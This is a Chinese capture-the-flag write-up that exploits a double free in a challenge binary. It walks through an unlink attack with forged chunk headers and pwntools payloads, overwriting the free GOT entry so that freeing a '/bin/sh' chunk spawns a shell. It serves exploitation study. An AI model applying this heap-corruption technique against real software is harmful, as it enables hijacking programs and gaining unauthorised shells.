作者: netwind

通过反编译bin有如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
signed __int64 sub_400A99()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 < 0 || v1 > 9 )
return 0xFFFFFFFFLL;
free(s[v1]);
return 0LL;
}

可以看到在对堆进行释放时没有检查,存在dobule free漏洞。数组变量s的地址是0x6020c0,存放的是申请到的堆块的地址。
本题利用思路是通过dobule free 来产生一个任意地址写漏洞,然后改写6020c0处存放的堆块的地址为free函数got表的地址,然后再编辑堆块从而可以实现编辑free got表地址指向的内容,将其指向的地址改为0x4009c0,从而执行free时 会跳转过去执行system获得shell。

具体利用过程如下:

首先申请3个堆块

1
2
3
4
5
6
7
8
9
10
11
12
#a号堆块
p.sendline('1')
p.sendline('256')
p.sendline('A'*255)
#b号堆块
p.sendline('1')
p.sendline('256')
p.sendline('B'*255)
#c号堆块
p.sendline('1')
p.sendline('256')
p.sendline('/bin/sh\x00'+'c'*(255-8))

前两个堆块是用来unlink用,最后一个堆块仅仅是产生一个字符串/bin/sh
前两个堆块的结构示意图如下:
1

然后把前两个堆块释放掉

1
2
3
4
p.sendline('2')
p.sendline('1')
p.sendline('2')
p.sendline('0')

然后再申请一个堆块,大小刚好是刚释放的两个堆块大小之和+0x10,这样就把刚释放的空间又给申请回来了。

1
2
p.sendline('1')
p.sendline('528')

释放并重新申请后 新的堆块结构示意图如下(虚线表示不存在):
2

然后在申请的这段0x210大小的空间内伪造两个chunk x和p,使得释放p chunk时达到unlink的目的。

1
2
3
Chunk4: '\x00'*8+p64(0x101)+p64(0x6020d8-0x18)+p64(0x6020d8-0x10)+'A'*(256-32)
Chunk5: p64(0x100)+p64(0x110)+'B'*255

3

对于chunk4 0x101 表示当前堆块大小(包括头)是0x100, 其前一个堆块为inuse状态
fd=0x6020d8-0x18 bk=0x6020d8-0x10
执行unlink时会进行如下操作:

1
2
3
4
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;

这样在unlink后会改写地址0x6020d8处的内容为0x6020d8-0x18 即0x6020c0。

对于chunk5 0x100 表示前一个堆块大小(包括头)是0x100, 0x110表示当前堆块大小为0x110,其前一个堆块为free状态
这样在释放p 的时候就会把x 从链表删除,达到unlink目的。

1
2
3
#这里再次释放b号堆块对应上图中的堆块p实现unlink
p.sendline('2')
p.sendline('1')

在最初申请完a b c三个堆块时 可以观察到数组变量s对应地址0x6020c0开始依次存放的分别是三个堆块申请到的地址。0x6020d0里存放的则是第4个堆块申请到的地址,这里我们编辑它就可以改变这个地址指向的内容。经过unlink后0x6020d0里存放的地址变成了0x6020c0,因此编辑它就等同于编辑0x6020c0指向的内容。

1
2
3
p.sendline('3')
p.sendline('3')
p.sendline('\x18\x20\x60\x00'+'D'*47)

这里把0x6020c0指向的内容编辑为0x602018 即free got表的地址、
同时我们知道0x6020c0存放的又是第一个堆块申请到的地址
于是我们编辑第一个堆块 就等同于改写0x602018这个地址指向的内容,把他指向的内容改为0x4009c0

1
2
3
p.sendline('3')
p.sendline('0')
p.sendline('\xc0\x09\x40\x00\x00\x00'+'E'*47)

这样free函数地址就被改写为0x4009c0了,这里就是屌用system函数的位置
然后释放c号堆块 即执行free(‘/bin/sh’) 等同于执行system(‘/bin/sh’)

1
2
p.sendline('2')
p.sendline('2')

然后就可以拿到shell。